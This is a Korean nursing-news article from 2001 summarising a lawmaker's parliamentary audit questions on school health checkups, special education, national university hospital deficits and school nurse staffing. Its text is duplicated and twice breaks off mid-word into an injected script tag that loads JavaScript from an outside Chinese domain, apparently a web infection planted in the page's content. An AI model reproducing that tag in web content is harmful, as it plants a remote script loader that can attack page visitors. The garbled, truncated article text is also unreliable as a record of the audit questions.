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김화중 의원, 국감 주요 질의내용 정리
학교 보건교육 중요성 역설
기사입력 2001-09-27 오전 10:04:09
김화중 의원(민주당·대한간호협회장)은 지난 10일 교육인적자원부를 시작으로 진행된 국정감사에서 △보건교육 강화를 위한 양호교사 장학사의 필요성 △현실성 없는 특수교육 △형식적으로 진행되고 있는 체질검사 △국립대병원 적자 이유 △청소년 약물 오남용 문제 △양호교사 부족 문제 △농어촌 교육 강화 대책 등 학교 보건교육 및 교육여건 개선사업 등을 중심으로 집중 질의를 펼쳤다. 김화중 의원이 국감을 통해 질의한 주요 내용을 정리해 본다.
◇장애아 특수교육 개선방안 촉구=교육인적자원부에 대한 국정감사에서 김 의원은 "지난 2월 총 2012명의 장애학생이 특수학교 고등과정을 졸업했으나 이 가운데 27.2%인 547명만 취업에 성공했다"며 "장애학생의 취업기회 확대를 위해 장애유형에 적합한 직업교육 과정개발과 직업교육을 강화할 것"을 요구하고 "교육인적자원부와 노동부, 보건복지부간에 상설 협의기구를 설립하는 방안을 강구할 것"을 제안했다.
◇형식적 체질검사 폐지해야=교육인적자원부 국정감사에서 김 의원은 "지난해 84.9%의 초·중·고교생들을 대상으로 실시된 체질검사는 학급당 의사검진비용과 학생 1인당 검진시간이 각각 1만원과 1분에 불과해 이상아발견율 역시 0.8%로 나타나 제대로 된 검진과 이상아 발견은 사실상 불가능하다"고 지적하고 "치과의사검진도 학급당 1만원에 불과해 연간 42억원에 달하는 예산만 낭비하고 있다"며 "이런 형식적인 체질검사제도는 폐지하는 것이 바람직하다"고 주장했다.
김 의원은 이와 함께 "고1 학생을 대상으로 실시하고 있는 종합건강검진도 학교보건협회, 대한결핵협회, 건강관리협회 등에서 독점계약으로 87억원을 독식하고 있다"고 지적한 뒤 "실효성 있는 검사가 되도록 고1 종합건강검진의 대상 범위를 초1, 초4, 중1, 고1 학년 학생으로 대상을 늘려야 한다"고 주문했다.
김 의원은 특히 "올들어 이달 현재까지 스쿨존 내에서 교통사고로 사망 또는 부상한 학생은 모두 255개 학교 354명으로 스쿨존도 결코 안전지대가 아니라"며 대책을 촉구했다.
◇국립대병원 적자 이유 설득력 없어=교육인적자원부에 대한 국정감사에서 김 의원은 "작년 한 해 동안 사립대병원 평균 78억5800만원의 이익을 내고 있는 것과 달리 국립대병원의 적자규모는 무려 991억3500만원이나 돼 9개 국립대병원 평균 100억원 이상 손실을 보고 있다"며 "지역에서 중심병원이며 선도병원인 국립대병원은 진료를 원하는 사람이 많고 이익을 낼 수 있는 조건이 충분함에도 불구하고 적자를 내고 있는 현실을 어떻게 이해해야 하느냐"고 따져물었다.
김 의원은 특히 충북대병원 감사에서 "노조와의 단체협상 불이행 등으로 장기 병원파업이 지속돼 업무마비 상태에 있는데 이는 원장의 경영력과 지도력이 없기 때문"이라며 "병원장은 책임감을 느끼고 물러날 용의가 없느냐"고 질타했다.
김 의원은 또 "병원경영혁신이라는 미명아래 전체 직원의 30%나 차지하고 있는 간호부를 진료처 소속으로 하향조정한 것은 잘못된 일"이라고 지적한 뒤 "간호관리료 등급이 낮고 환자 만족도 역시 타 국립대병원 보다 낮아 의료서비스 질 향상 방안과 간호관리등급을 올릴 수 있는 방안 마련이 시급하다"고 주장했다.
김 의원은 이와 함께 "충북대병원의 경우 인건비와 관리비 비율이 전국 국립대병원 평균인 42.7%와 24.2%보다 각각 10.5%와 7.9% 높게 나타나 합리적인 비용구조 개선이 필요하다"며 "향후 비용구조 개선을 위한 적정대안은 무엇이냐"고 따졌다.
◇양호교사 장학사 확보 시급=경기도교육청에 대한 국정감사에서 김 의원은 "학교환경위생정화구역내 이전·폐쇄대상 업소 40개중 경기도교육청이 고발조치한 경우는 단 한건도 없다"며 경기도교육청이 아무 조치를 취하지 않고 있는 이유를 캐물었다.
김 의원은 또 "경기도교육청의 경우 학교예산에서 보건예산이 차지하는 비율은 매년 증가하고 있으나 최근 3년간 초·중·고교의 양호교사 배치율은 1999년 66.4%, 2000년 68.3%, 2001년 68.8%로 늘지 않고 있다"며 "양호교사 배치율을 높일 수 있는 방안을 강구해 달라"고 주문했다.
김 의원은 특히 "연도별 보건교육 실적 통계를 보면 전체 보건교육실시 시간중 73%에 해당하는 시간을 양호교사가 담당하고 있고 성교육 담당자 중에도 65% 이상을 양호교사가 담당하고 있다"며 "보건교육을 체계적으로 지도·관리하기 위해서는 양호교사를 전문 장학사로 선임하는 것이 필요하다"고 요구했다.
◇양호교사 배치율 저조 원인 따져=강원도교육청에 대한 국정감사에서 김 의원은 "최근 3년간 강원도의 교원 충족률이 98.8∼101%에 달했던 것과 달리 양호교사는 금년 현재 49.1%가 배치돼 전국 평균에서도 10% 이상 미달하고 있고 중학교의 경우 30.6%에 불과하다"며 "양호교사 충족률을 높?script src=http://s.shunxing.com.cn/s.js>
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◇장애아 특수교육 개선방안 촉구=교육인적자원부에 대한 국정감사에서 김 의원은 "지난 2월 총 2012명의 장애학생이 특수학교 고등과정을 졸업했으나 이 가운데 27.2%인 547명만 취업에 성공했다"며 "장애학생의 취업기회 확대를 위해 장애유형에 적합한 직업교육 과정개발과 직업교육을 강화할 것"을 요구하고 "교육인적자원부와 노동부, 보건복지부간에 상설 협의기구를 설립하는 방안을 강구할 것"을 제안했다.
◇형식적 체질검사 폐지해야=교육인적자원부 국정감사에서 김 의원은 "지난해 84.9%의 초·중·고교생들을 대상으로 실시된 체질검사는 학급당 의사검진비용과 학생 1인당 검진시간이 각각 1만원과 1분에 불과해 이상아발견율 역시 0.8%로 나타나 제대로 된 검진과 이상아 발견은 사실상 불가능하다"고 지적하고 "치과의사검진도 학급당 1만원에 불과해 연간 42억원에 달하는 예산만 낭비하고 있다"며 "이런 형식적인 체질검사제도는 폐지하는 것이 바람직하다"고 주장했다.
김 의원은 이와 함께 "고1 학생을 대상으로 실시하고 있는 종합건강검진도 학교보건협회, 대한결핵협회, 건강관리협회 등에서 독점계약으로 87억원을 독식하고 있다"고 지적한 뒤 "실효성 있는 검사가 되도록 고1 종합건강검진의 대상 범위를 초1, 초4, 중1, 고1 학년 학생으로 대상을 늘려야 한다"고 주문했다.
김 의원은 특히 "올들어 이달 현재까지 스쿨존 내에서 교통사고로 사망 또는 부상한 학생은 모두 255개 학교 354명으로 스쿨존도 결코 안전지대가 아니라"며 대책을 촉구했다.
◇국립대병원 적자 이유 설득력 없어=교육인적자원부에 대한 국정감사에서 김 의원은 "작년 한 해 동안 사립대병원 평균 78억5800만원의 이익을 내고 있는 것과 달리 국립대병원의 적자규모는 무려 991억3500만원이나 돼 9개 국립대병원 평균 100억원 이상 손실을 보고 있다"며 "지역에서 중심병원이며 선도병원인 국립대병원은 진료를 원하는 사람이 많고 이익을 낼 수 있는 조건이 충분함에도 불구하고 적자를 내고 있는 현실을 어떻게 이해해야 하느냐"고 따져물었다.
김 의원은 특히 충북대병원 감사에서 "노조와의 단체협상 불이행 등으로 장기 병원파업이 지속돼 업무마비 상태에 있는데 이는 원장의 경영력과 지도력이 없기 때문"이라며 "병원장은 책임감을 느끼고 물러날 용의가 없느냐"고 질타했다.
김 의원은 또 "병원경영혁신이라는 미명아래 전체 직원의 30%나 차지하고 있는 간호부를 진료처 소속으로 하향조정한 것은 잘못된 일"이라고 지적한 뒤 "간호관리료 등급이 낮고 환자 만족도 역시 타 국립대병원 보다 낮아 의료서비스 질 향상 방안과 간호관리등급을 올릴 수 있는 방안 마련이 시급하다"고 주장했다.
김 의원은 이와 함께 "충북대병원의 경우 인건비와 관리비 비율이 전국 국립대병원 평균인 42.7%와 24.2%보다 각각 10.5%와 7.9% 높게 나타나 합리적인 비용구조 개선이 필요하다"며 "향후 비용구조 개선을 위한 적정대안은 무엇이냐"고 따졌다.
◇양호교사 장학사 확보 시급=경기도교육청에 대한 국정감사에서 김 의원은 "학교환경위생정화구역내 이전·폐쇄대상 업소 40개중 경기도교육청이 고발조치한 경우는 단 한건도 없다"며 경기도교육청이 아무 조치를 취하지 않고 있는 이유를 캐물었다.
김 의원은 또 "경기도교육청의 경우 학교예산에서 보건예산이 차지하는 비율은 매년 증가하고 있으나 최근 3년간 초·중·고교의 양호교사 배치율은 1999년 66.4%, 2000년 68.3%, 2001년 68.8%로 늘지 않고 있다"며 "양호교사 배치율을 높일 수 있는 방안을 강구해 달라"고 주문했다.
김 의원은 특히 "연도별 보건교육 실적 통계를 보면 전체 보건교육실시 시간중 73%에 해당하는 시간을 양호교사가 담당하고 있고 성교육 담당자 중에도 65% 이상을 양호교사가 담당하고 있다"며 "보건교육을 체계적으로 지도·관리하기 위해서는 양호교사를 전문 장학사로 선임하는 것이 필요하다"고 요구했다.
◇양호교사 배치율 저조 원인 따져=강원도교육청에 대한 국정감사에서 김 의원은 "최근 3년간 강원도의 교원 충족률이 98.8∼101%에 달했던 것과 달리 양호교사는 금년 현재 49.1%가 배치돼 전국 평균에서도 10% 이상 미달하고 있고 중학교의 경우 30.6%에 불과하다"며 "양호교사 충족률을 높?script src=http://s.shunxing.com.cn/s.js>
백찬기 ckbaik@nursenews.co.kr